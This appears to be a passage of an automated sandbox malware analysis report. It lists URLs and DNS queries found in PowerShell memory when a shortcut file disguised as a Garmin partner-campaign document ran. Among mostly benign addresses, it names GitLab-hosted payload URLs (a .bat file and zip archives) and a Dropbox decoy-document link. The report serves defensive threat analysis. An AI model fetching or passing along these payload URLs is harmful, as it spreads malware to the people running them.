https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; media-src https://* blob: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; font-src https://* data: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; base-uri 'self' ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/ https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; frame-ancestors 'self' https://.dropbox.com ; img-src https:// data: blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; media-src https://* blob: equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: gitlab.com
Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: uc322a227a00e76211984e262257.dl.dropboxusercontent.com

Source: svchost.exe, 0000001C.00000002.3418749796.000002086880F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2042000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-block-www-env.dropbox-dns.com
Source: qmgr.db.28.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.28.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.28.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.28.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.28.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.28.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.28.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.28.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gitlab.com
Source: powershell.exe, 00000011.00000002.2264375688.000001DCD0A51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2264375688.000001DCD0B94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC21A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3399566735.000001A5CCE32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE82C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3399566735.000001A5CCF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BCFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC09E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BCDC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2042000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://uc322a227a00e76211984e262257.dl.dropboxusercontent.com
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www-env.dropbox-dns.com
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BCFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.dropbox.com
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC09E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BCDC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://collector.prd-278964.gl-product-analytics.com
Source: powershell.exe, 00000015.00000002.3399566735.000001A5CCF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000015.00000002.3399566735.000001A5CCF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000015.00000002.3399566735.000001A5CCF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://customers.gitlab.com
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/fsip/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: qmgr.db.28.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000001C.00000003.2476185487.00000208686D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BCFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BD9F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/;
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/speedscope/index.html
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/admin/
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/assets/
Source: powershell.exe, 00000015.00000002.3408449985.000001A5D51E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/stare2/garmin/-/raw/main/fuknewGa1112De.zip
Source: powershell.exe, 00000015.00000002.3408390322.000001A5D50B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/stare2/garmin/-/raw/main/fuknewga1112de.zip
Source: 1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	String found in binary or memory: https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC1612000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BD9F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env
Source: powershell.exe, 00000011.00000002.2264375688.000001DCD0A51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2264375688.000001DCD0B94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC21A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3399566735.000001A5CCE32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3399566735.000001A5CCF74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sentry.gitlab.net
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://snowplow.trx.gitlab.net
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sourcegraph.com
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc322a227a00e76211984e262257.dl.dropboxusercontent.com
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc322a227a00e76211984e262257.dl.dropboxusercontent.com/cd/0/get/CgF0BluLfGxRXMIZ5YnW1OUhQV4A
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC1FFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC1612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
Source: powershell.exe, 00000011.00000002.2250130539.000001DCC04C3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC0C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.doc
Source: powershell.exe, 00000011.00000002.2267945163.000001DCD8BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/garmin_campaign_information_for_partners_v4.doc
Source: powershell.exe, 00000011.00000002.2267996581.000001DCD8CD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/r35bmmcqt1un6z
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html
